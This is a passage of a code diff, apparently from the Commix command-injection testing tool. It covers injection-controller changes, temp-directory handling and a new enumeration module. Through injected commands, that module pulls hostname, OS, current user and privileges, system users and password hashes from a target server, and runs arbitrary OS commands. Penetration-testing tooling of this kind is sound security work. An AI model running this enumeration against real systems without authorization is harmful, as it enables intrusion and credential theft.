menu.options.web_root.endswith("\\"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" + + # Set temp path + if settings.TARGET_OS == settings.OS.WINDOWS: + if "microsoft-iis" in settings.SERVER_BANNER.lower(): + settings.TMP_PATH = r"C:\\Windows\TEMP\\" + else: + settings.TMP_PATH = "%temp%\\" + else: + settings.TMP_PATH = "/tmp/" + + if menu.options.tmp_path: + tmp_path = menu.options.tmp_path + else: + tmp_path = settings.TMP_PATH + + if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + + if menu.options.file_dest and '/tmp/' in menu.options.file_dest: + call_tmp_based = True + + if menu.options.web_root: + settings.WEB_ROOT = menu.options.web_root + else: + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + check_trailing_slashes() + + return tmp_path + +""" +Check if file-based technique has failed, +then use the "/tmp/" directory for tempfile-based technique. +""" +def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): + if no_result == True: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler + path = tmp_path + setting_writable_dir(path) + call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + return call_tfb + else: + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Check if to use the "/tmp/" directory for tempfile-based technique. +""" +def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + settings.print_data_to_stdout(settings.END_LINE.CR) + message = "It seems that you don't have permissions to " + message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + if not menu.options.web_root: + message += " You are advised to rerun with option '--web-root'." + while True: + message = message + settings.END_LINE.LF + "Do you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " + tmp_upload = common.read_input(message, default="Y", check_batch=True) + if tmp_upload in settings.CHOICE_YES: + exit_loops = True + settings.TEMPFILE_BASED_STATE = True + call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + if call_tfb != False: + return True + else: + if no_result == True: + return False + else: + return True + elif tmp_upload in settings.CHOICE_NO: + break + elif tmp_upload in settings.CHOICE_QUIT: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + else: + common.invalid_option(tmp_upload) + pass + # continue + +""" +Set time relative timesec +""" +def time_relative_timesec(timesec): + if settings.TIME_RELATIVE_ATTACK and settings.TIMESEC < 1: + timesec = 1 + else: + timesec = settings.TIMESEC + return timesec + +""" +Export the time relative injection results +""" +def time_relative_export_injection_results(cmd, separator, output, check_exec_time): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if output != "" and check_exec_time != 0 : + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # settings.print_data_to_stdout(settings.print_output(output)) + else: + # Check for separator filtration on target host. + if output != False : + err_msg = "It seems that '" + cmd + "' command could not return " + err_msg += "any output due to '" + separator + "' filtration on target host. " + err_msg += "To bypass that limitation, use the '--alter-shell' option " + err_msg += "or try another injection technique." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Check for invalid provided command. + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8c58b4af56..c4bb2ad3ea 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,6 +41,8 @@ """ def basic_level_checks(): + settings.LOAD_SESSION = None + settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False @@ -55,7 +57,7 @@ def check_for_stored_sessions(url, http_request_method): if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if session_handler.applied_techniques(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES + # menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: settings.LOAD_SESSION = True @@ -323,9 +325,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + info_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -358,12 +359,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" + if menu.options.web_root and not settings.SESSION_APPLIED_TECHNIQUES and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" classic_command_injection_technique(url, timesec, filename, http_request_method) dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) @@ -495,7 +495,7 @@ def define_check_parameter(found, i, url): check_parameters.append(check_parameter) checks.testable_parameters(url, check_parameters, header_name) - + for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: @@ -523,8 +523,9 @@ def define_check_parameter(found, i, url): counter += 1 break else: + # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: # Check for session file check_for_stored_sessions(url, http_request_method) @@ -535,10 +536,10 @@ def define_check_parameter(found, i, url): """ def cookie_injection(url, http_request_method, filename, timesec): - # Cookie Injection cookie_value = menu.options.cookie if cookie_value: settings.COOKIE_INJECTION = True + # Cookie Injection header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py new file mode 100755 index 0000000000..7771eb9c4d --- /dev/null +++ b/src/core/injections/controller/enumeration.py @@ -0,0 +1,535 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import sys +from src.utils import logs +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.utils import session_handler +from src.core.requests import requests +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Powershell's version number enumeration (for Windows OS) +""" +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + _ = False + cmd = settings.PS_VERSION + if not settings.TIME_RELATIVE_ATTACK and alter_shell: + cmd = checks.escape_single_quoted_cmd(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + ps_version = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + ps_version = "".join(str(p) for p in ps_version) + session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) + else: + ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_ps_version(ps_version, filename, _) + +""" +Hostname enumeration +""" +def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.HOSTNAME = settings.WIN_HOSTNAME + cmd = settings.HOSTNAME + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) + +""" +Retrieve system information +""" +def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS + cmd = settings.RECOGNISE_OS + if not settings.TIME_RELATIVE_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: + cmd = "cmd /c " + cmd + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + target_os = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + target_os = "".join(str(p) for p in target_os) + session_handler.store_cmd(url, cmd, target_os, vuln_parameter) + else: + target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if target_os: + if not settings.TIME_RELATIVE_ATTACK: + target_os = "".join(str(p) for p in target_os) + if settings.TARGET_OS != settings.OS.WINDOWS: + cmd = settings.DISTRO_INFO + if not settings.TIME_RELATIVE_ATTACK: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + distro_name = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + distro_name = "".join(str(p) for p in distro_name) + if len(distro_name) != 0: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + session_handler.store_cmd(url, cmd, target_os, vuln_parameter) + else: + target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_RECOGNISE_HP + else: + cmd = settings.RECOGNISE_HP + if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + target_arch = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + target_arch = "".join(str(p) for p in target_arch) + session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) + else: + target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None + checks.print_os_info(target_os, target_arch, filename, _) + +""" +The current user enumeration +""" +def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.CURRENT_USER = settings.WIN_CURRENT_USER + cmd = settings.CURRENT_USER + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + cu_account = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + cu_account = "".join(str(p) for p in cu_account) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) + else: + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) + +""" +Check if the Current user is privileged. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) + +""" +System users enumeration +""" +def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + cmd = settings.SYS_USERS + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_SYS_USERS + if settings.TIME_RELATIVE_ATTACK: + cmd = cmd + settings.WIN_REPLACE_WHITESPACE + if alter_shell: + cmd = checks.escape_single_quoted_cmd(cmd) + if not settings.TIME_RELATIVE_ATTACK: + cmd = checks.add_new_cmd(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + except TypeError: + sys_users = "" + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_users = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + sys_users = "".join(str(p) for p in sys_users) + session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + else: + sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) + +""" +System passwords enumeration +""" +def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + if sys_passes == False: + sys_passes = "" + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) + else: + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _, alter_shell) + +""" +Single os-shell execution +""" +def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = 